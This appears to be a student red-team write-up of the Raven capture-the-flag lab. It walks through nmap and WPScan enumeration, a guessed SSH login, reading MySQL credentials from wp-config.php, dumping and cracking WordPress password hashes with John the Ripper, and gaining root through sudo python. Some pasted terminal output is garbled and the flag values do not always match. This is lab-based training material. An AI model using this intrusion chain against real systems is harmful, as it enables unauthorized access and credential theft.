

Red Team: Summary of Operations

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Exposed Services

Nmap scan results for each machine reveal the below services and OS details:

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root@Kali:~# nmap -sS 192.168.1.0/24
Starting Nmap 7.80 ( https://nmap.org ) at 2021-11-30 17:28 PST
Nmap scan report for 192.168.1.1
Host is up (0.00051s latency).
Not shown: 995 filtered ports
PORT      STATE SERVICE
135/tcp    open  msrpc
139/tcp    open  netbios-ssn
445/tcp    open  microsoft-ds
2179/tcp   open  vmrpd
3389/tcp   open  ms-wbt-server
MAC Address: 00:15:5D:00:04:0D (Microsoft)

Nmap scan report for 192.168.1.100
Host is up (0.0011s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
9200/tcp   open  wap-wsp
MAC Address: 4C:EB:42:D2:D5:D7 (Intel Corporate)

Nmap scan report for 192.168.1.105
Host is up (0.00096s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
MAC Address: 00:15:5D:00:04:0F (Microsoft)

Nmap scan report for 192.168.1.110
Host is up (0.00056s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)

Nmap scan report for 192.168.1.115
Host is up (0.00092s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
```

This scan identifies the services below as potential points of entry:

```
Nmap scan report for 192.168.1.110
Host is up (0.0010s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
MAC Address: 00:15:5D:00:04:10 (Microsoft)
```

- Target 1
 - Port 22/TCP Open SSH
 - Port 80/TCP Open HTTP
 - Port 111/TCP Open rpcbind
 - Port 139/TCP Open netbios-ssn
 - Port 445/TCP Open microsoft-ds

The following vulnerabilities/Weaknesses were identified on Target 1

- CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
- CWE-521: Weak Password Requirements
- CWE-916: Use of Password Hash With Insufficient Computational Effort
- CWE-312: Cleartext Storage of Sensitive Information
- CWE-250: Execution with Unnecessary Privileges

Exploitation

The Red Team was able to penetrate Target 1 and retrieve the following confidential data:

- Target 1
 - Flag1.txt: b9bbcb33ellb80be759c4e844862482d

Exploit Used:

- First we enumerated the users of the wordpress site.
- From there we guessed michael's password=michael
- Once we established connection we traversed through the directories to the root directory

Commands used to find flag one:

- Cd var/www/html
- Ls -la
- Cat service.html | grep flag1*

```
root@Kali:~# wpscan --url http://192.168.1.110/wordpress -e u
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WPSecan
WordPress Security Scanner by the WPScan Team
Version 3.7.8
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
-----
```

```
[*] michael
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[*] steven
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
```

```
michael@target1:/var/www/html
```

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```
"footer-social d-flex align-items-center">  
href="#"><i class="fa fa-facebook"></i></a>  
href="#"><i class="fa fa-twitter"></i></a>  
href="#"><i class="fa fa-dribbble"></i></a>  
href="#"><i class="fa fa-behance"></i></a>  
    </div>  
  </div>  
</div>  
</footer>  
  <!-- End footer Area -->  
  <!-- Flag1{b9bbcb33e11b80be759c4e844862482d} -->  
  <script src="js/vendor/jquery-2.2.4.min.js"></scrip  
t>  
  <script src="https://cdnjs.cloudflare.com/ajax/libs  
/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W  
3mgPxhU9K/ScQsAP7hUibX39j7fakFPskvXusvfa0b4Q" crossorigin="anonymous"></scr  
ipt>  
  <script src="js/vendor/bootstrap.min.js"></script>  
  <script type="text/javascript" src="https://maps.go  
ogleapis.com/maps/api/js?key=AIzaSyBh0dIF3Y9382fqJYt5I_sswSrEw5eihAA"></scr  
ipt>
```

- flag2.txt: fc3fd58dcdad9ab23faca6e9a3e581c

- **Exploit Used:**

- “We initially found flag 2. Before flag 1 by gaining access to michael's account”
- **Capturing Flag 2:** While SSH'd to Target 1 machine as user Michael Flag 2 was discovered.
 - Flag 2 was found in the /var/www folder
 - Commands (as shown below)

```
michael@target1:/var/www$ ls -a
.  ..  .bash_history  flag2.txt  html
michael@target1:/var/www$ cat flag2.txt
flag2{fc3fd58dcdad9ab23faca6e9a36e581c}
michael@target1:/var/www$
```

- **Flag3:** `afc01ab56b50591e7dccf93122770cd2`
- **Exploit Used:** Our team used the same exploit to obtain Flag 1-3
- **Capturing Flag 3:** Accessing the MySQL database on the Target 1 virtual machine.
 - We cat the wp-config.php file located in /var/www/html/wordpress to find the MySQL database password= R@v3nSecurity
 - We logged into the mysql database with the following command
Mysql --host=localhost --user=root --password=R@v3nSecurity wordpress
 - Flag 3 was found in the **wp_posts table** in the wordpress database.
 - Commands (as shown below):

```
michael@target1:/var/www/html/wordpress$ cat wp-config.php
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the
 * installation. You don't have to use the web site, you can
 * copy this file to "wp-config.php" and fill in the values.
```

```
/** MySQL database password */
define('DB_PASSWORD', 'R@v3nSecurity');
```

```

michael@target1:/var$ mysql --host=localhost --user=root --password=R@v3nSecurity wordpress
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 62
Server version: 5.5.60-0+deb8u1 (Debian)

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Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> █

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```

mysql> show tables
→ ;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta      |
| wp_comments         |
| wp_links            |
| wp_options          |
| wp_postmeta         |
| wp_posts            |
| wp_term_relationships |
| wp_term_taxonomy    |
| wp_termmeta         |
| wp_terms            |
| wp_usermeta         |
| wp_users            |
+-----+
12 rows in set (0.00 sec)

```

```

mysql> select * from wp_posts;

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|      |      |      |      |      |      |
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|      |      |      |      |      |      |
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```

```

As a new WordPress user, you should go to <a href="http://192.168.206.131/w
ordpress/wp-admin/">your dashboard</a> to delete this page and create new p
ages for your content. Have fun! | Sample Page | publish
| closed | open | sample-page |
| 2018-08-12 22:49:12 | 2018-08-12 22:49:12 |
| 0 | http://192.168.206.131/wordpress/?page_id=2
| 0 | page | 0 |
| 4 | 1 | 2018-08-13 01:48:31 | 0000-00-00 00:00:00 | flag3{afc0
1ab56b50591e7dccf93122770cd2}

```

- **Flag4:** 715dea6c055b9fe3337544932f2941ce
 - **Exploit Used:**
- Using the Tool "John the ripper" we were successful in executing a password crack against a password hash we exfiltrated from the MYSQL user table.
- This Exploit successfully found Steven's password: pink84 which allowed us to gain access into their account
- . We then used a quick Python command to create a user shell to gain root privileges.
Sudo python -c 'import pty;pty.spawn("/bin/bash")'
- From there we moved into the root Folder to find the final Flag
- Commands (as shown below):

```

mysql> show tables
→ ;
+-----+
| Tables_in_wordpress |
+-----+
| wp_commentmeta      |
| wp_comments         |
| wp_links            |
| wp_options          |
| wp_postmeta         |
| wp_posts            |
| wp_term_relationships |
| wp_term_taxonomy    |
| wp_termmeta         |
| wp_terms            |
| wp_usermeta         |
| wp_users            |
+-----+
12 rows in set (0.00 sec)

```



```
mysql> select * from wp_users;
```

| ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name |
|----|------------|--------------------------------------|---------------|-------------------|----------|---------------------|---------------------|-------------|----------------|
| 1 | michael | \$P\$BjRvZQ.VQcGZlDeiKToCQd.cPw5XCe0 | michael | michael@raven.org | | 2018-08-12 22:49:12 | | 0 | michael |
| 2 | steven | \$P\$Bk3VD9jsxx/loJoqNsURgHiaB23j7W/ | steven | steven@raven.org | | 2018-08-12 23:31:16 | | 0 | Steven Seagull |

```
2 rows in set (0.00 sec)
```

```
root@Kali:~# nano wp_hashes.txt
root@Kali:~# john --wordlist=/usr/share/wordlists/rockyou.txt wp_hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
pink84 0 | michael(?)
```

```
root@Kali:~# ssh steven@192.168.1.110
steven@192.168.1.110's password: /usr/share/wordlists/rockyou.txt wp_hashes.txt
Created directory: /root/.john

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permitted by applicable law.
Last login: Wed Jun 24 04:02:16 2020
$
```

```
$ sudo python -c 'import pty;pty.spawn("bin/bash")'
Traceback (most recent call last):
  File "<string>", line 1, in <module>
  File "/usr/lib/python2.7/pty.py", line 167, in spawn
    os.execlp(argv[0], *argv)
  File "/usr/lib/python2.7/os.py", line 329, in execlp
    execvp(file, args)
  File "/usr/lib/python2.7/os.py", line 346, in execvp
    _execvpe(file, args)
  File "/usr/lib/python2.7/os.py", line 370, in _execvpe
    func(file, *argrest)
OSError: [Errno 2] No such file or directory
$ sudo python -c 'import pty;pty.spawn("/bin/bash")'
root@target1:/home/steven#
```

```
root@target1:/home/steven# cd
root@target1:~# ls
flag4.txt
root@target1:~#
```

```
root@target1:~# cat flag4.txt OIF~8
Loaded 2 password hashes with 2 different salts (phpass [ph
7-256/256 AVX2 8x3])
|ost_1\iteration count) is 8192 for all loaded hashes
Will run 2 OpenMP threads
|r|_|/_/_ or Ctrl-C to abort, almost any other key for stat
pink84 (?)
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| | \ \ ( | | \ v / _ / | | |
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```
flag4{715dea6c055b9fe3337544932f2941ce}
```

CONGRATULATIONS on successfully rooting Raven!

This is my first Boot2Root VM - I hope you enjoyed it.

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